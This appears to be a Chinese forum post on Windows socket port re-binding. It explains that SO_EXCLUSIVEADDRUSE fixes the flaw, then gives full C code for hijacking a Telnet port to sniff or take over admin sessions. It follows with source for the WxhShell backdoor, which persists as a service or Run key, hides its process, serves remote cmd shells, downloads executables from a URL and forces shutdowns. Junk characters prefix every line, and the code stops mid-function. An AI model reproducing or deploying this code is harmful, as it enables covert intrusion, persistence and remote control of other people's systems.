在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
saf&dd s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
\3f&7wU zAzP,1$? saddr.sin_family = AF_INET;
mHc>"^R j=RRfFg) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
o\b- _E5"? 2_^aw[- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
w
obgu :rMM4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
V~G`kkNy hj%ye~|~ 这意味着什么?意味着可以进行如下的攻击:
9;.(u'y| D\dWt1n 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
b;sVls :KJ pk:< 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
\NZIEu)5? bNs4 5hDP 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
q[q?hQ/b a' Ki;]q 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
}je,")#W S-Y=-" 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
b//B8^Eong x+8_4>,>Y7 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
afBE{ 2Y\
d<.M 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
{9Y+.46S ?'86d_8 #include
3<? #include
X|f7K #include
]V l]XT$Um #include
vX0f,y DWORD WINAPI ClientThread(LPVOID lpParam);
xw^R@H int main()
Z>c3 {
lGwl1,= WORD wVersionRequested;
RqEH|EUZ DWORD ret;
,mhQ"\ +C WSADATA wsaData;
R'EUV0KX>Y BOOL val;
7w,FX.=;cv SOCKADDR_IN saddr;
VVH.2&`I SOCKADDR_IN scaddr;
Unj.f>U int err;
voP7"Dl[ SOCKET s;
wN1niR' SOCKET sc;
|8>3`w! int caddsize;
dI&!e#Y HANDLE mt;
j`^$# DWORD tid;
IG)s^bP wVersionRequested = MAKEWORD( 2, 2 );
;c~cet4 err = WSAStartup( wVersionRequested, &wsaData );
S#)Eom?V if ( err != 0 ) {
/Jf.y*; printf("error!WSAStartup failed!\n");
L^2FQti> return -1;
B~o\+n }
wW>zgTG saddr.sin_family = AF_INET;
xh7c VE[UM
]#7zk9 //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
}bY;q- Tc8un. saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
N\:.
M saddr.sin_port = htons(23);
O5$/55PI if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
&j(+ /;A {
Ee4&g<X. printf("error!socket failed!\n");
?]D"k4 return -1;
W;bu2ym&Q }
3)-/`iy# val = TRUE;
j83p)ido //SO_REUSEADDR选项就是可以实现端口重绑定的
I}Nd$P)> if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
_ZY)M {
hX`}Q4(k printf("error!setsockopt failed!\n");
s!n<}C return -1;
>e\9Bf_ }
DXz}YIEC //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
;"(foY"L //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Wu4Lxv]B4 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
?5_7;Ha G}&Sle] if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
:'#TCDlOb {
TXe$<4" ret=GetLastError();
XsnF~)YW printf("error!bind failed!\n");
LPMU8Er return -1;
J[f;Xlh }
(`y*V;o4 listen(s,2);
x| yEtO& while(1)
. e=C{ {
=-_B:d; caddsize = sizeof(scaddr);
>3z5ww //接受连接请求
h/~n\0,J/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
N[k wO1 if(sc!=INVALID_SOCKET)
iD<(b`S {
3p0LN'q]A mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%Gt.m if(mt==NULL)
J,Ks0MA {
=[F<7pvE printf("Thread Creat Failed!\n");
V<Z[ nq break;
H54R8O$ }
&|/| ''A) }
0GJn_@hr CloseHandle(mt);
3B1cb[2y }
^^5&QSB:' closesocket(s);
8Y5 WSACleanup();
**}h&k&%2 return 0;
,3@#F/c3i~ }
In`mtn q DWORD WINAPI ClientThread(LPVOID lpParam)
]Kr
`9r), {
4~B>
9<$e> SOCKET ss = (SOCKET)lpParam;
NH+(?TN SOCKET sc;
27;ci:5 unsigned char buf[4096];
J~#;<e{\" SOCKADDR_IN saddr;
D1__n6g[ long num;
w8n|B?Sr DWORD val;
)B[0JrcE DWORD ret;
HD(.BW7 //如果是隐藏端口应用的话,可以在此处加一些判断
"HPB!)C8( //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
i&VsW7 saddr.sin_family = AF_INET;
_cXqAo[V saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
} \ZaE~ saddr.sin_port = htons(23);
qi_Jywd:w if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
D9z|VIw8 {
r#XT3qp$d printf("error!socket failed!\n");
?M[ A7? return -1;
jYe'V#5S# }
}Hn/I,/ val = 100;
O }
f80K if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
^MVkZ{gtre {
9/nn)soC3 ret = GetLastError();
0:+WO%z return -1;
y- 1 pR }
j$+nKc$ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
=5\|[NSK- {
je!-J8{ ret = GetLastError();
daYx76yP_? return -1;
@HOBRRm` }
~JaAii{ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
I
:vs;- {
ra
o[VZ printf("error!socket connect failed!\n");
V3"=w&2]K closesocket(sc);
5=f|7yl closesocket(ss);
KN* return -1;
eM+!Y>8Y }
dH-s2r%s while(1)
0(S"{Ov {
y~FV2$ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
&}A[x1x06) //如果是嗅探内容的话,可以再此处进行内容分析和记录
gSh+}r<7 //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
M8tRjNWS? num = recv(ss,buf,4096,0);
;cQ6g`
bM\ if(num>0)
m@^1JlH send(sc,buf,num,0);
DCZ\6WY1G) else if(num==0)
+(h\fm7*- break;
rYbpih=x num = recv(sc,buf,4096,0);
({q?d[q[ if(num>0)
6q{HU]N+ send(ss,buf,num,0);
6Udov pl else if(num==0)
2o'Wy break;
Z:*76PP, }
<TP=oq?I/ closesocket(ss);
l6d$V9A closesocket(sc);
wYmM"60 return 0 ;
/AW=5Ck- # }
l?Ya"C`FL BW"5Aj C_7+a@?B ==========================================================
;A*`e$ 49vcoHlf 下边附上一个代码,,WXhSHELL
|>#{[wko O<,\^[x ==========================================================
k3uit+ge} LbkF
#include "stdafx.h"
GSRVe/[ !7kG!)40 #include <stdio.h>
(_"*NY0 #include <string.h>
T7#W0^tj #include <windows.h>
07[_.i.l #include <winsock2.h>
w/kt3Lw #include <winsvc.h>
sIxTG y. #include <urlmon.h>
;LMJd@ ihfiK|a #pragma comment (lib, "Ws2_32.lib")
W' s #pragma comment (lib, "urlmon.lib")
lMBLIB]i ^3UGV*Ypk #define MAX_USER 100 // 最大客户端连接数
K2<9mDn& #define BUF_SOCK 200 // sock buffer
wbst8*$ #define KEY_BUFF 255 // 输入 buffer
k<"oiCE aP/T<QZ~ #define REBOOT 0 // 重启
rsy'q(N[ #define SHUTDOWN 1 // 关机
F 9@h|#an sn)3ZA #define DEF_PORT 5000 // 监听端口
6=fSE=]DY EUxG Aj$- #define REG_LEN 16 // 注册表键长度
@g&ct>@y #define SVC_LEN 80 // NT服务名长度
8/=L2fNN[ dzDqZQY$ // 从dll定义API
z[3L2U~6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
+w+}b^4 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
r_-_a(1R: typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
{PVW D7 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4/wa+Y+=vt ,d {"m)r< // wxhshell配置信息
iy%ZQ[Un struct WSCFG {
dfij|>:*0 int ws_port; // 监听端口
8]U{;|'; char ws_passstr[REG_LEN]; // 口令
RE/~#k@a int ws_autoins; // 安装标记, 1=yes 0=no
1fZ(l" char ws_regname[REG_LEN]; // 注册表键名
u)~C;f) char ws_svcname[REG_LEN]; // 服务名
zc;|fHW~O char ws_svcdisp[SVC_LEN]; // 服务显示名
!K'}K>iT char ws_svcdesc[SVC_LEN]; // 服务描述信息
o
!vE~ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
rv|)n>m int ws_downexe; // 下载执行标记, 1=yes 0=no
(w}H]LQ char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
P7{gfiB char ws_filenam[SVC_LEN]; // 下载后保存的文件名
Uk6HQQ x;8A!8w };
AD|2qM)) ~x]jB // default Wxhshell configuration
Yo|,]X>/ struct WSCFG wscfg={DEF_PORT,
<c2'0I > "xuhuanlingzhe",
Z\k&gio5C^ 1,
\Hn>oonph "Wxhshell",
\Ol kM< "Wxhshell",
_tYx~J2.Q "WxhShell Service",
.%L?J E "Wrsky Windows CmdShell Service",
ZOZ+ Y\uU "Please Input Your Password: ",
6I4oi@hZz 1,
lc~%= "
http://www.wrsky.com/wxhshell.exe",
+Zaj,oEE
"Wxhshell.exe"
`1bv@yzq };
!Rhlf.x ,}K7Dg^1 // 消息定义模块
61)-cVC char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
*q-['"f char *msg_ws_prompt="\n\r? for help\n\r#>";
UOxkO char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
;{KV /<3 char *msg_ws_ext="\n\rExit.";
Z|lqb= char *msg_ws_end="\n\rQuit.";
|bO"_U char *msg_ws_boot="\n\rReboot...";
f)^_|8 char *msg_ws_poff="\n\rShutdown...";
5
4L\Jx char *msg_ws_down="\n\rSave to ";
]zWon~ 4X+ifZO char *msg_ws_err="\n\rErr!";
gk0( ANx char *msg_ws_ok="\n\rOK!";
fmb} 2h "HDcmIXg& char ExeFile[MAX_PATH];
@tZ&2RY1 int nUser = 0;
@Bf%s(Uj+ HANDLE handles[MAX_USER];
`Ch9~*p int OsIsNt;
Q+W1lv8R LC'{p SERVICE_STATUS serviceStatus;
!BOY@$Y SERVICE_STATUS_HANDLE hServiceStatusHandle;
%)0*&a 4 R]RZq+2^ // 函数声明
\E*d\hrl{ int Install(void);
NbU [l int Uninstall(void);
d\jPdA.a= int DownloadFile(char *sURL, SOCKET wsh);
r}mbXvn int Boot(int flag);
=9fajRFTt void HideProc(void);
CTZh0x int GetOsVer(void);
U qFv}VsnF int Wxhshell(SOCKET wsl);
"saUai4z void TalkWithClient(void *cs);
\xnWciQ#{ int CmdShell(SOCKET sock);
^HqY9QT2 int StartFromService(void);
v33dxZ' int StartWxhshell(LPSTR lpCmdLine);
1ke g9] LQngK7> VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
rjp-Fw~1w VOID WINAPI NTServiceHandler( DWORD fdwControl );
A*}.EClH >JC // 数据结构和表定义
-\
EP.Vtz SERVICE_TABLE_ENTRY DispatchTable[] =
;3B1_vo9 {
!3 f?:M {wscfg.ws_svcname, NTServiceMain},
OslL~< {NULL, NULL}
gT#&"aP5S };
lna}@]oR ZI 3Nq // 自我安装
#nK>Z[ int Install(void)
X0haj~o[ {
'~&9D:( char svExeFile[MAX_PATH];
#py[ HKEY key;
|ayVjqJ* strcpy(svExeFile,ExeFile);
}l],.J\BGX &iA?+kV // 如果是win9x系统,修改注册表设为自启动
+KvU$9Ad> if(!OsIsNt) {
RH O( ?8"_ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
2E)wpgUc?e RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
dVi!Q@y+ RegCloseKey(key);
jO1r)hw N> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
(tZrw5@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
/.o^R6 RegCloseKey(key);
.2v_H5< return 0;
5`gQ~ }
e0T34x' }
vfE6Ggz
}
ysQ,)QoiR{ else {
f-E("o t 0|!(3 // 如果是NT以上系统,安装为系统服务
oIb|*gX^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
Vc2A if (schSCManager!=0)
n3D;"a3 {
yl1gx SC_HANDLE schService = CreateService
C86J
IC" (
a+!tT!g&I schSCManager,
7lBAxqr2 wscfg.ws_svcname,
.QN>z-YA6: wscfg.ws_svcdisp,
\0vr>C SERVICE_ALL_ACCESS,
] 0B2#
d SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
jkt_5+S SERVICE_AUTO_START,
2L} SJUk* SERVICE_ERROR_NORMAL,
g#t[LI9(F[ svExeFile,
}7
c[Q($K NULL,
\V*xWS NULL,
.5y+fL NULL,
|qmu_x\ NULL,
gm[z[~X@ NULL
{yB&xj[z );
aM:nOt" S1 if (schService!=0)
zN:K%AiGxe {
f^"N!f a CloseServiceHandle(schService);
LkK~%tY CloseServiceHandle(schSCManager);
Gq }U|Z strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
=aoMii strcat(svExeFile,wscfg.ws_svcname);
viMzR(JU if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
HFaj-~b RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
"huFA|` RegCloseKey(key);
dK2p7xo return 0;
4*cU< }
#[`:'e }
vWf;
'j CloseServiceHandle(schSCManager);
< VSA }
jhg;%+KB }
?)1{)Erf8x 9)gC6IiW return 1;
< !dqTJos }
5yiK+-iTs OSf}Q=BL // 自我卸载
*Ie7{EhJ' int Uninstall(void)
$+3}po\ {
X7i/fm{l' HKEY key;
kT!9`S\ pFHz"] if(!OsIsNt) {
7El[ > if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
/(BMG/Tb RegDeleteValue(key,wscfg.ws_regname);
q~vDz]\G RegCloseKey(key);
nC}6B).el if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
!gv`FE9y RegDeleteValue(key,wscfg.ws_regname);
X6mqi;+ RegCloseKey(key);
qQsku;C?i return 0;
S4h:|jLUF }
D? 8rO" }
:C65-[PSdO }
A0q|J/T else {
`P3>S(Tgy Qe5U<3{JZ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
j"|=C$Kn/ if (schSCManager!=0)
!/3B3cG {
!cAyTl(_ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
\&i P`v`K if (schService!=0)
D0#x
Lh {
!H irhDN if(DeleteService(schService)!=0) {
0 rXx RQ CloseServiceHandle(schService);
[5MJwRM^!; CloseServiceHandle(schSCManager);
P5#r,:zL return 0;
F>-B3x }
.G)(0z("s CloseServiceHandle(schService);
<B6&I$Wc+ }
d)R:9M}v CloseServiceHandle(schSCManager);
WeQk<y }
( 2n>A D_ }
75T7+:p B,@c;K return 1;
JNa"8 }
72Iy^Y[MX "Za>ZRR // 从指定url下载文件
k=B]&F int DownloadFile(char *sURL, SOCKET wsh)
bV$)!]V {
G1"zElug HRESULT hr;
0DmMG char seps[]= "/";
(h5'9r char *token;
G_k~X" char *file;
aP8H`^DFX> char myURL[MAX_PATH];
pSr{>;bN char myFILE[MAX_PATH];
x-AZ%)N9 /~Z?27F6@ strcpy(myURL,sURL);
LK, bO| token=strtok(myURL,seps);
+tk{"s^r* while(token!=NULL)
.$%Soyr?, {
4)"n
RjGg file=token;
p Wt)
A token=strtok(NULL,seps);
00SbH$SU }
1}:bqI.<W _:-ha?W$;y GetCurrentDirectory(MAX_PATH,myFILE);
LX@/RAd vz strcat(myFILE, "\\");
'`XX
"_k3 strcat(myFILE, file);
_-9@qe send(wsh,myFILE,strlen(myFILE),0);
?}RSwl
send(wsh,"...",3,0);
6C]1Q.f; hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
u9}1)9 if(hr==S_OK)
@1 U&UH return 0;
T:IW%?M else
ywb4LKD return 1;
a e*Mf7 z[cyA. }
f~dd3m(' @H7Wb} // 系统电源模块
'C:>UlzLy int Boot(int flag)
%ix)8+Eb {
8ZKo_I\
HANDLE hToken;
h|h>u
^@ TOKEN_PRIVILEGES tkp;
3v
mjCm )Jk0v_ X if(OsIsNt) {
mXUGe:e8 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q@@T]V6 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
gOr%!QaF tkp.PrivilegeCount = 1;
`S2[5i tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
8g:;)u4$P AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
B:e
@0049 if(flag==REBOOT) {
#ceaZn|@m if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
EvWzq%z
l return 0;
9uer(}WKT }
cu% C" else {
H]$)Eg%6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
lNL6M%e$Q return 0;
j8fpj {hp }
0MkSf* }
=Uj-^qcE else {
"v` if(flag==REBOOT) {
Z7_ zMM if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
g-e#!( return 0;
A%^w^f }
>j'ZPwj^ else {
e][B7wZ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
/,X[k ! return 0;
*3&fqBg }
V\{tmDE }
8S<@"v |6(ZD^w return 1;
B"v.*
%"&/ }
7\9>a {qmdm`V[ // win9x进程隐藏模块
o.'g]Q<}UB void HideProc(void)
k0 {
X*,%&6O* sL@U HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
KLL;e/Gf if ( hKernel != NULL )
V
hk_ {
x)JOClLr pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
cP}KU 5j ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
gF0q@M y~ FreeLibrary(hKernel);
}>'PT- }
K"0PTWt j8n4fv-)f return;
v$7EvFS }
#fL8Kq \igmv]G% // 获取操作系统版本
T<L^N+<,{N int GetOsVer(void)
Pf_S[
sm {
E-{^E. w1 OSVERSIONINFO winfo;
Y=
]dvc winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
GHHav12][ GetVersionEx(&winfo);
bg3"W,bv% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
TD9;kN1` return 1;
Xu>r~^w=S else
MzP7Py
8. return 0;
OZIW_'Wm/ }
3 HIz9F( Rt{B(L.?< // 客户端句柄模块
d5>H3D{49 int Wxhshell(SOCKET wsl)
(C\hVy2X?N {
Hw|AA?,0- SOCKET wsh;
u@.>Z{h struct sockaddr_in client;
"n: %E DWORD myID;
RKa}$
7 ZWm8*}3]7_ while(nUser<MAX_USER)
C:uz6i1 {
J8"[6vI d~ int nSize=sizeof(client);
1=nUW": wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
0V{(Ru.O if(wsh==INVALID_SOCKET) return 1;
.(X
lg-H, Q3 eM2i8Y handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
r 3M1e+'fc if(handles[nUser]==0)
DwV4o^J:l closesocket(wsh);
`zR+ tbm else
Kv rX{F= nUser++;
cPl`2&p }
1tJg#/? WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
hxf'5uc 8srBHslI return 0;
#!9S}b$ }
Kv@eI$t5 [J
C: // 关闭 socket
/c$\X<b); void CloseIt(SOCKET wsh)
r&2~~_d3y {
D!oc>K$B closesocket(wsh);
U^.4Hy&D nUser--;
)OLq_':^@ ExitThread(0);
TP}h~8 /; }
R.s^o]vT eVR5Xar // 客户端请求句柄
v$)q($}p void TalkWithClient(void *cs)
/Ux*u# {
0}:2Q# Y(+^;Y3U SOCKET wsh=(SOCKET)cs;
c\q
char pwd[SVC_LEN];
r,]#b[:.s| char cmd[KEY_BUFF];
QeDQo char chr[1];
?hR7<02 int i,j;
WnHUE Y];Ycj; while (nUser < MAX_USER) {
qTB$`f'|$ `s]4AKBO if(wscfg.ws_passstr) {
=rd|0K"(r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
4#(ZNP //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9~0^PzTA //ZeroMemory(pwd,KEY_BUFF);
;ml
3 i=0;
`T2$4 >! while(i<SVC_LEN) {
j6,ZEm kip`Myw+ // 设置超时
W{5:'9, fd_set FdRead;
@<@SMK) struct timeval TimeOut;
#-Z8Z
i"44 FD_ZERO(&FdRead);
kJAn4I.l FD_SET(wsh,&FdRead);
ycJg%]F*5 TimeOut.tv_sec=8;
tj*y)28- TimeOut.tv_usec=0;
/?6gdN int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M('d-Q{B7L if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
@f!AkzI ^#):c` if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
vMs;>lhtg pwd
=chr[0]; ,WQ^tI=O
if(chr[0]==0xd || chr[0]==0xa) { 2`a
q**}
pwd=0; SMf+qiM-E
break; F=)&98^v$_
} j+8TlVur
i++; :+%Zh@u\
} +y#T?!jQYj
O%f8I'u$
// 如果是非法用户,关闭 socket [,~TaP}m
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UzKFf&-:;K
} .la&P,j_L
`aqrSH5^h
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); MqKye8h9f
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {S<>&?XB
qUo-Dq>
while(1) { @4!x>q$3
e9^2,:wLB
ZeroMemory(cmd,KEY_BUFF); 1P]de'-`j
J.RAmU <
// 自动支持客户端 telnet标准 '(#g1H3
j=0; ;$BdP7i:
while(j<KEY_BUFF) { X jE>k!=I
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gLL\F1|0x
cmd[j]=chr[0]; nPkZHIxuD
if(chr[0]==0xa || chr[0]==0xd) { &*&?0ov^"
cmd[j]=0; CkRX>)=py
break; zQH]s?v
} t/Z:)4Z
j++; =C
f(B<u
} Dz_eB"}
DP7C?}(
// 下载文件 3P <'F2o
if(strstr(cmd,"http://")) { pGIe=Um0W
send(wsh,msg_ws_down,strlen(msg_ws_down),0); [rreFSy#@
if(DownloadFile(cmd,wsh)) h7;bclU
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]$M<]w,IJ2
else cUK\x2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'FzN[% K"
} sl/)|~3!8
else { \m@Y WO?L
0ZC,BS`D^
switch(cmd[0]) { i_F$&?)
1Xyp/X2rI
// 帮助 |z^pL1Z]5
case '?': { #
4|9Fj??
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xq!IbVV/h
break; (_9|w|(
} qd!#t]
// 安装 Sd:.KRTu.
case 'i': { mYNEz
@
if(Install()) (Btv ClZ
send(wsh,msg_ws_err,strlen(msg_ws_err),0); y~F<9;$=
else ^GYq#q9Q
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TK>{qxt:=
break; @ERu>nSP
} )Hf~d=GG
// 卸载 >WM3|
case 'r': { .}9FEn 8
if(Uninstall()) nd+?O7~}(
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1.R
kIB
else X^< >6|)
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); GJ}.\EaAJ
break; w}M3x^9@
} LW39YMw<
// 显示 wxhshell 所在路径 LxT rG)4
case 'p': { [BBpQN.^q6
char svExeFile[MAX_PATH]; (3md:r<-
strcpy(svExeFile,"\n\r"); P 4;{jG
strcat(svExeFile,ExeFile); A1*4*
send(wsh,svExeFile,strlen(svExeFile),0); agaq`^[(P
break; 7CrpUh
} o@dy:AR
// 重启 H/+{e,SW"
case 'b': { wq4nMY:#
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); '1]7zWbW
if(Boot(REBOOT)) ;IC'Gq
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z };ZxN
else { kb|eQtH
closesocket(wsh); bZ#X9fT
ExitThread(0); " OGdE_E
} IMad$AKc
break; DzPs!(5[I
} |5xz l
// 关机 Q-R}qy5y
case 'd': { V_;9TC
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `)[dVfxA
if(Boot(SHUTDOWN)) abZdGnc
send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5;D7zdA
else { /R%^rz'w
closesocket(wsh); fr#Qz{
ExitThread(0); 8Inx/>eOI
} WOO%YU =
break; +8UdvMN
} pN$;!
// 获取shell g 2'x#%ET
case 's': { e~Hr(O+;e6
CmdShell(wsh); <F=Dj*]
closesocket(wsh); Lp~^*j(
ExitThread(0); b~W)S/wF$P
break; 8^w/HCC8O
} \|Qb[{<:,
// 退出 Tiprdvm<
case 'x': { /{DaPqRa
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C|6{fd4?
CloseIt(wsh); ~JE|f 7
break; \/,g VT
} BPWnck=%
// 离开 Z}[xQ5
case 'q': { ZT9IMihV
send(wsh,msg_ws_end,strlen(msg_ws_end),0); Qcgu`]7}
closesocket(wsh); Wy(pLBmb
WSACleanup(); g9qC{xd
exit(1); _j 5N=I{U
break; >tEK+Y|N}
} G{A)H_o*
} gUGOHd(A
} E!@/N E\-
E|,30Z+
// 提示信息 j m>U6
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); y#bK,}
} jvO3_Zt9
} hrT%XJl
QSmJ`Bm
return; `Z8^+AMc
} @,YlmX}
fN0bIE
Y
// shell模块句柄 BVAr&cu
int CmdShell(SOCKET sock) %uEtQh[
{ va>"#;37
STARTUPINFO si; L *{QjH
ZeroMemory(&si,sizeof(si)); b8cVnP
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (H[
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fqX~xp
PROCESS_INFORMATION ProcessInfo; *')Q {8`
char cmdline[]="cmd"; o4'Wr
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); (+x]##Q
return 0; \=8=wQv
} ,|iy1yg(
/p}{#DLB
// 自身启动模式 {,F/KL^u
int StartFromService(void) H`?*
bG
{ RnSm]}?
typedef struct UnjNR[=
{ *pK lA&_
DWORD ExitStatus; Ivjw<XP6K
DWORD PebBaseAddress; IwM8#6;S~
